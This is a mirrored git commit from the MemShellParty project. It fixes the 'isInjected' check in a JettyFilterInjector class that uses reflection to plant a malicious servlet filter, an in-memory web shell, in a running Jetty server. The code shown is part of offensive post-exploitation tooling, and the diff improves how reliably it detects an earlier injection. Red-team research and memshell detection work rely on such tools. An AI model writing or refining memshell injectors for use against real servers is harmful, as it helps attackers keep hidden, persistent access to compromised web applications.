mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
fix: jetty filter isInjected not work
This commit is contained in:
+18
-10
@@ -48,6 +48,10 @@ public class JettyFilterInjector {
|
|||||||
Class<?> filterClass = magicFilter.getClass();
|
Class<?> filterClass = magicFilter.getClass();
|
||||||
Object servletHandler = getFieldValue(context, "_servletHandler");
|
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||||
|
|
||||||
|
if (servletHandler == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
// 1. 判断是否已经注入
|
// 1. 判断是否已经注入
|
||||||
if (isInjected(servletHandler)) {
|
if (isInjected(servletHandler)) {
|
||||||
System.out.println("filter is already injected");
|
System.out.println("filter is already injected");
|
||||||
@@ -197,18 +201,22 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public boolean isInjected(Object servletHandler) throws Exception {
|
public boolean isInjected(Object servletHandler) throws Exception {
|
||||||
try {
|
Object filterMappings = getFieldValue(servletHandler, "_filterMappings");
|
||||||
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
|
if (filterMappings == null) {
|
||||||
for (int i = 0; i < Array.getLength(filterMaps); i++) {
|
|
||||||
Object filter = Array.get(filterMaps, i);
|
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
Object[] filterMaps = new Object[0];
|
||||||
|
if (filterMappings instanceof List) {
|
||||||
|
filterMaps = ((List<?>) filterMappings).toArray();
|
||||||
|
} else if (filterMappings instanceof Object[]) {
|
||||||
|
filterMaps = (Object[]) filterMappings;
|
||||||
|
}
|
||||||
|
for (Object filterMap : filterMaps) {
|
||||||
|
Object filterName = getFieldValue(filterMap, "_filterName");
|
||||||
|
if (filterName.equals(getClassName())) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user